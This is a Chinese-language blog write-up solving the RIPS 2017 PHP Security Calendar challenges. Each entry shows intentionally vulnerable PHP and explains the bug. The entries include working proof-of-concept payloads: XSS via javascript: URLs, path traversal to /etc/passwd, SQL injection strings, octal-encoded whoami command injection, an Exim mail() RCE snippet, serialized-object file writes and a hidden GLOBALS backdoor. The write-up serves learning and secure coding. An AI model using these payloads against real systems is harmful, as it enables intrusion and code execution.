🌙

RIPSTECH PRESENTS-PHP SECURITY CALENDAR 2017

Rips...

0x01 Wish List

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp_name'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

$challenge = new Challenge($_FILES['solution']);

这里的漏洞是有关于in_array可被绕过.

in_array

1
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

其中第三个参数如果没有被设置为True就会忽略对$needle进行类型检查,所以可以直接被绕过.

0x02 Twig

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="https://loremflickr.com/320/240">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        ]);
        $this->twig = new Twig\Environment($loader);
    }

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }

    public function render() {
        echo $this->twig->render(
            'index.html',
            ['link' => $this->getNexSlideUrl()]
        );
    }
}

(new Template())->render();

这里的漏洞是关于filter_var以及{{link|escape}},导致产生xss.

filter_var

1
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

其中题中的FILTER_VALIDATE_URL是过滤关于URL的. 由于并没有对像javascript/vbscript伪协议进行过滤. 但是这个地方有个坑就是一般的写法javascript:alert(1)是没有办法绕过filter_var,这里的写法是javascript://comment%0aalert(1). 换了个相似的环境测试.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$url = "javascript://comment%0aalert(1)";

if(!filter_var($url, FILTER_VALIDATE_URL))
 {
 echo "URL is not valid";
 }
else
 {
 echo "URL is valid";
 }

 $url = htmlentities($url);
 echo "<a href='$url'>Next slide »</a>";

仅仅测试javascript成功,vbscript限制太大(需要iE10及其以下).

0x03 Snow Flake

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
      $this->template = $template;
      $this->variables = $variables;
  }

  public function render() {
      if ($this->variables['new']) {
          echo 'controller rendering new response';
      } else {
          echo 'controller rendering old response';
      }
  }
}

这段代码有两处漏洞,一处是在class_exists(),另一处在new $controllerName().

class_exists

1
bool class_exists ( string $class_name [, bool $autoload = true ] )

其中第二个参数决定是否默认调用__autoload,这样就能造成一个任意文件读取的漏洞.由于__autoload在5.3之后已经被弃用了,所以版本仅限于5.3及其之前. poc1:

1
http://localhost:4399/rips2017/Snow%20Flake.php?c=../info.php

new $controllerName()这个地方可以引入一些危险的函数,例如SimpleXMLElement来构成一个XXE攻击.(在复现的时候由于缺失render方法失败)

0x04 False Beard

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
    }

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<?xml version="1.0"?>' .
                      '<user v="%s"/><pass v="%s"/>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.
            $this->login($xmlElement);
        }
    }
}

new Login($_POST['username'], $_POST['password']);

这个存在漏洞的地方是SimpleXMLElement. 虽然之前有strpos函数进行过滤,但是可以被绕过.

strpos

1
mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

代码中if判断可以通过让strpost返回0进行绕过.之后就可以进行XML的注入了.(同样在这里复现XXE失败,没有办法解决语法出错的情况)

Poc:

1
username=<"><injected-tag%20property="&pass=<injected-tag>user=<"><injected-tag%20property="&password=<injected-tag>

0x05 Postcard

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@ripstech.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = 'none@ripstech.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);

这里的存在的漏洞是mail(). 其中第五个参数没有过滤.并且对其他参数过滤的时候使用了FILTER_VALIDATE_EMAILescapeshellarg会造成一个漏洞.

mail()

1
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

由于测试环境是exim4的所以暂时没有想到办法在from参数中逃逸空格.这里展示exim4的RCE情况.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

        $sender = "attacker@anyhost -be";
        $body   = 'Exec: ${run{/bin/bash -c "/usr/bin/id
>/tmp/id"}{yes}{no}}';
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $to = "john@localhost";
        $subject = "Exim RCE PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>

以上这段代码来源是Pwning-PHP-Mail-Function-For-Fun-And-RCE. 其中的写入文件的操作没有复现成功,但是可以成功的反弹shell.

FILTER_VALIDATE_EMAIL为什么不安全

这个可以参照why-mail-is-dangerous-in-php,文章中使用的sendmail MTA.并且提到了escapeshellargs为什么不安全.

参考链接

Pwning-PHP-Mail-Function-For-Fun-And-RCE why-mail-is-dangerous-in-php

0x06 Frost Pattern

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
                $this->createToken($data);
                break;
            case 'delete':
                $this->clearToken($data);
                break;
            default:
                throw new Exception('Unknown action');
        }
    }

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '...data');
    }

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);
    }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

这里的漏洞是preg_replace()的正则表达式有误导致被绕过,从而造成任意文件删除. 本来本意是要把不属于._之间的非a-z字符替换为空,但是其中的-没有使用\转义,导致整个正则失去作用. 正确的形式可以是[^a-z\.\-_]. Poc:

1
action=delete&data=../../config.phpaction=delete&data=../../../../../../config.php

0x07 Bells

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
            $config['dbhost'],
            $config['dbuser'],
            $config['dbpass'],
            $config['dbname']
        );
    }
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    $stmt->bind_result($name);
    $stmt->execute();
    $stmt->fetch();
    return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

这里的漏洞是parse_str()没有设置第二个参数,导致变量可以被覆盖,这样就能把config替换成恶意的数据库,从而返回的username可控.

paser_str

1
void parse_str ( string $encoded_string [, array &$result ] )

在php7.2中,如果没有设置第二参数将会被弃用. Poc:

1
Referer: http://127.0.0.1:4399/?id=1&config[dbhost]=127.0.0.1&config[dbuser]=xxx&config[dbpass]=xxx&config[dbname]=xxx

0x08 Candle

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
    return preg_replace(
        '/(' . $regex . ')/ei',
        'strtolower("\\1")',
        $value
    );
}

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";
}

这里的漏洞是preg_replace(),由于其正则表达式使用了e模式,之后处理不到会导致任意代码执行.

preg_replace

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

其中$patterne模式已经在php5.5.0被弃用,php7.0已经移除了.

Poc:

1
2
Offical:/?.*={${phpinfo()}}
Per:?\S*={${phpinfo()}}

针对官方的poc,会与php的参数准测产生冲突,因为.会被处理成_.

0x09 Rabbit

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
class LanguageManager
{
    public function loadLanguage()
    {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
    }

    private function getBrowserLanguage()
    {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
    }

    private function sanitizeLanguage($language)
    {
        return str_replace('../', '', $language);
    }
}

(new LanguageManager())->loadLanguage();

这个漏洞在于str_replace()过滤时不严谨被绕过,导致任意文件读取

$_SERVER['HTTP_ACCEPT_LANGUAGE']

用一段示例代码测试:

1
2
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
echo "/lang/".str_replace('../','',$lang);

Poc:

1
Accept-Language: ....//....//....//....//etc/passwd

0x10 Anticipation

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
extract($_POST);

function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";
}

这里的漏洞是assert()会造成一个命令注入. 其中在做跳转的时候没有使用exit()结束脚本,导致即使通过header()跳转了,但是脚本还是在执行.

is_numeric

1
bool is_numeric ( mixed $var )

php7之前可以使用十六进制,之后就不行了.

Poc:

1
pi=phpinfo()

0x11 Pumpkin Pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:'
        && !preg_match('/O:\d:\/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

漏洞很明显的出在unserialize(),虽然在调用之前已经对参数过滤,但可以被绕过.

unserialize

1
mixed unserialize ( string $str [, array $options ] )

Poc1:

1
2
3
4
5
6
7
8
9
<?php
  class Template{
    public $cacheFile = 'E:\phpStudy\WWW\tmp\info4';
    public $template = '<?php phpinfo();?>';
  }
  $te =new Template();
  $arr = array('0' => $te );
  echo serialize($arr);
 ?>

Poc2:

1
a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:25:"E:\phpStudy\WWW\tmp\info4";s:8:"template";s:18:"<?php phpinfo();?>";}}

Poc2是由Poc1生成之后经过修改的,由于需要绕过ifpreg_match过滤,if可以使用数组进行绕过,preg_match这个使用O:+8的形式进行绕过(具体原因我也没有找到,望知道的大佬告知一下). 其中在复现的时候,踩到一个坑,就是如果直接将Poc2传递进Cookie的话,会因为i:0;中的;从而将Cookie截断,所以需要把Poc中出现的;都修改为%3b即可...😰 其中还有个问题是在php7.2的时候已经不支持+这种写法了.

最后发一个大哥关于PHP反序列化的分析

0x12 String Lights

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
    $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
    return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
    htmlentities($query) . "'>link</a>";

这里的漏洞是由于过滤不够严格,导致可以将任意代码插入<a>中,从而导致XSS.

Poc:

1
%27onclick%3dalert(1)%2f%2f=1

0x13 Turkey Baster

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $user = $this->sanitizeInput($this->user);
        $pass = $this->sanitizeInput($this->password);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("user = '$user' AND password = '$pass'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input, $length = 20) {
        $input = addslashes($input);
        if (strlen($input) > $length) {
            $input = substr($input, 0, $length);
        }
        return $input;
    }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
    exit;
}

这里的漏洞是sanitizeInput(),由于过滤不够严谨,会导致注入.

Poc:

1
user=1234567890123456789'&passwd= or 1=1 -

0x14 Snowman

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Carrot {
    const EXTERNAL_DIRECTORY = '/tmp/';
    private $id;
    private $lost = 0;
    private $bought = 0;

    public function __construct($input) {
        $this->id = rand(1, 1000);

        foreach ($input as $field => $count) {
            $this->$field = $count++;
        }
    }

    public function __destruct() {
        file_put_contents(
            self::EXTERNAL_DIRECTORY . $this->id,
            var_export(get_object_vars($this), true)
        );
    }
}

$carrot = new Carrot($_GET);

这里的漏洞是由于$this->id可以被变量覆盖,从而导致了任意文件覆盖.

get_object_vars

1
array get_object_vars ( object $object )

这个函数可以做一些过滤.

Poc:

1
?id=<file_path>

0x15 Sleigh Ride

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
    private $websiteHost = 'www.example.com';

    private function setHeaders($url) {
        $url = urldecode($url);
        header("Location: $url");
    }

    public function startRedirect($params) {
        $parts = explode('/', $_SERVER['PHP_SELF']);
        $baseFile = end($parts);
        $url = sprintf(
            "%s?%s",
            $baseFile,
            http_build_query($params)
        );
        $this->setHeaders($url);
    }
}

if ($_GET['redirect']) {
    (new Redirect())->startRedirect($_GET['params']);
}

这里的漏洞是由于在获取parts时,会造成一个任意重定向的漏洞.

Poc:

1
Sleigh%20Ride.php/http:%252f%252fover-rainbow.cn?redirect=1

0x16 Poem

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
    public $sock;

    public function __construct($host, $port, $user, $pass) {
        $this->sock = fsockopen($host, $port);

        $this->login($user, $pass);
        $this->cleanInput();
        $this->mode($_REQUEST['mode']);
        $this->send($_FILES['file']);
    }

    private function cleanInput() {
        $_GET = array_map('intval', $_GET);
        $_POST = array_map('intval', $_POST);
        $_COOKIE = array_map('intval', $_COOKIE);
    }

    public function login($username, $password) {
        fwrite($this->sock, "USER " . $username . "\n");
        fwrite($this->sock, "PASS " . $password . "\n");
    }

    public function mode($mode) {
        if ($mode == 1 || $mode == 2 || $mode == 3) {
            fputs($this->sock, "MODE $mode\n");
        }
    }

    public function send($data) {
        fputs($this->sock, $data);
    }
}

new FTP('localhost', 21, 'user', 'password');

这里的漏洞是fputs(),虽然之前对$_GET$_POST$_COOKIE都做了过滤,但是$mode是通过$_REQUEST获取的,所以可以被绕过.这样就能像FTP连接中注入数据了.

Poc:

1
1%0a%0dDELETE%20Poem.file //删除user用户目录瞎的Poem.file

但是在复现的时候失败了...本地FTP连接上之后使用DELETE删除文件没有问题...

0x17 Mistletoe

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $pass = md5($this->password, true);
        $user = $this->sanitizeInput($this->user);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("password = '$pass' AND user = '$user'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input) {
        return addslashes($input);
    }
}

$auth = new RealSecureLoginManager(
    $_POST['user'],
    $_POST['passwd']
);
if (!$auth->isValid()) {
    exit;
}

这里的漏洞出在md5(),因为设置了第二个参数,所以导致可能产生意想不到的结果,导致被绕过.

md5

1
string md5 ( string $str [, bool $raw_output = false ] )

第二个参数被设置之后将会返回长度为16的原始二进制格式. 用个简单的示例

1
2
3
4
5
$pass = $_POST['passwd'];
$user = addslashes($_POST['user']);
$pass = md5($pass , true);
$sql = "select * from users where password='$pass' and user='$user' ";
var_dump($sql);

Poc:

1
passwd=128&user= or and 1=1 --

0x18 Sign

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class JWT {
    public function verifyToken($data, $signature) {
        $pub = openssl_pkey_get_public("file://pub_key.pem");
        $signature = base64_decode($signature);
        if (openssl_verify($data, $signature, $pub)) {
            $object = json_decode(base64_decode($data));
            $this->loginAsUser($object);
        }
    }
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

这里的漏洞出在openssl_verify(),由于这个函数能返回01-1三个值,所以可以导致这个判断被绕过. 只要使用不匹配的签名和公钥就行了.

0x19 Birch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
    private $file;

    function __construct($file) {
        $this->file = "images/$file";
        $this->createThumbnail();
    }

    function createThumbnail() {
        $e = stripcslashes(
            preg_replace(
                '/[^0-9\\\]/',
                '',
                isset($_GET['size']) ? $_GET['size'] : '25'
            )
        );
        system("/usr/bin/convert {$this->file} --resize $e
                ./thumbs/{$this->file}");
    }

    function __toString() {
        return "<a href={$this->file}>
                <img src=./thumbs/{$this->file}></a>";
    }
}

echo (new ImageViewer("image.png"));

这里漏洞是利用stripcslashes()可以解析八进制的字符串,导致命令执行.

stripcslashes

1
string stripcslashes ( string $str )

Poc:

1
size=\174\174\167\150\157\141\155\151\174\174 // ||whoami||

0x20 Stocking

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
set_error_handler(function ($no, $str, $file, $line) {
    throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
    public function getResult($uri)
    {
        if (!filter_var($uri, FILTER_VALIDATE_URL)) {
            return '<p>Please enter valid uri</p>';
        }

        try {
            $image = file_get_contents($uri);
            $path = "./images/" . uniqid() . '.jpg';
            file_put_contents($path, $image);
            if (mime_content_type($path) !== 'image/jpeg') {
                unlink($path);
                return '<p>Only .jpg files allowed</p>';
            }
        } catch (Exception $e) {
            return '<p>There was an error: ' .
                $e->getMessage() . '</p>';
        }

        return '<img src="' . $path . '" width="100"/>';
    }
}

echo (new ImageLoader())->getResult($_GET['img']);

这里的漏洞在于file_get_contents没有对参数值做任何过滤,导致其可以去请求内网中的服务,从而泄露敏感消息. 其中mime_content_type在php5.3就已经被弃用了.在php7.0已经不能使用了.

Poc:

1
?img=http://127.0.0.1:21

0x21 Gift Wrap

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
    private $validIndices = [];

    private function indices($input) {
        $validate = function (int $value, $key) {
            if ($value > 0) {
                $this->validIndices[] = $key;
            }
        };

        try {
            array_walk($input, $validate, 0);
        } catch (TypeError $error) {
            echo "Only numbers are allowed as input";
        }

        return $this->validIndices;
    }

    public function getCommand($parameters) {
        $indices = $this->indices($parameters);
        $params = [];
        foreach ($indices as $index) {
            $params[] = $parameters[$index];
        }
        return implode($params, ' ');
    }
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

这里的漏洞出现在array_walk(),这个函数采用了弱类型,导致最开始设置的declared(strict_types=1)没有在类型错误的时候从而触发TypeError,从而导致了命令执行.

array_walk

1
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

declare

关于strict参数瞅这里

Poc:

1
?p[0]=1||whoami||&p[1]=2

0x22 Chimeny

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
    setcookie('hash', md5($_POST['password']));
    header("Refresh: 0");
    exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
    echo '<form><input type="password" name="password" />'
       . '<input type="submit" value="Login" ></form >';
    exit;
} elseif (md5($_COOKIE['hash']) == $password) {
    echo 'Login succeeded';
} else {
    echo 'Login failed';
}

这个漏洞是由php的弱类型引起的,并且由于可以直接传递Cookie,导致可以绕过设置Cookie的步骤.

Poc:

1
Cookie:hash=QNKCDZO

关于PHP Magic Hash

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LDAPAuthenticator {
    public $conn;
    public $host;

    function __construct($host = "localhost") {
        $this->host = $host;
    }

    function authenticate($user, $pass) {
        $result = [];
        $this->conn = ldap_connect($this->host);
        ldap_set_option(
            $this->conn,
            LDAP_OPT_PROTOCOL_VERSION,
            3
        );
        if (!@ldap_bind($this->conn))
            return -1;
        $user = ldap_escape($user, null, LDAP_ESCAPE_DN);
        $pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
        $result = ldap_search(
            $this->conn,
            "",
            "(&(uid=$user)(userPassword=$pass))"
        );
        $result = ldap_get_entries($this->conn, $result);
        return ($result["count"] > 0 ? 1 : 0);
    }
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
    $ldap = new LDAPAuthenticator();
    if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
        echo "You are now logged in!";
    } else {
        echo "Username or password unknown!";
    }
}

这里的漏洞出在ldap_escape,由于其使用LDAP_ESCAPE_DN作为Flag,导致过滤无效.

ldap_escape

1
string ldap_escape ( string $value [, string $ignore [, int $flags ]] )

Poc:

1
u=*&p=*

0x24 Nutcracker

Source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$GLOBALS
    =
$GLOBALS{next}
    =
    next($GLOBALS{'GLOBALS'})[
    $GLOBALS['next']['next']
        =
        next($GLOBALS)['GLOBALS']
    ][
    $next['GLOBALS']
        =
        next($GLOBALS[GLOBALS]['GLOBALS'])[
        $next['next']
        ]
    ][
    $next['GLOBALS'] = next($next['GLOBALS'])
    ][
    $GLOBALS[next]['next'](
        $GLOBALS['next']{'GLOBALS'}
    )
    ]
    =
    next(neXt(${'next'}['next']));

这里是一道Hack.lu CTF的题目,目的是寻找后门.

关于$GLOBALS中的顺序

  1. 首先一开始是第5行的next之后,返回值是$_POST;
  2. 接着看到$_POST之后的数组键名,第8行的next之后,返回的就是$_COOKIE,这样的话就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS']];
  3. 接着第12行的next之后,返回的就是$_FILE了,此时就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]],因为$GLOBALS['next']['next']$next['next']是相等的;
  4. 最后第16行的next之后,返回的就是$_FILE[$_COOKIE['GLOBALS']]['type'],变成了$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]['type']];
  5. 之后的$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})相当于$_COOKIE['GLOBALS']($_FILE[$_COOKIE['GLOBALS']]['type']),这儿就是可以利用的后门.

其中详细说明也给出了分析的步骤.

Poc:

1
2
3
4
5
/Nutcrack.php?cmd=whoami HTTP/1.1
...
Cookie: GLOBALS=assert
Content-Disposition: form-data; name="assert"; filename="Nutcrack_poc"
Content-Type: system($_GET['cmd']);

其中在php7中assert已经变成了语言结构,不能再这里使用.

(ง •_•)ง

updatedupdated2020-01-262020-01-26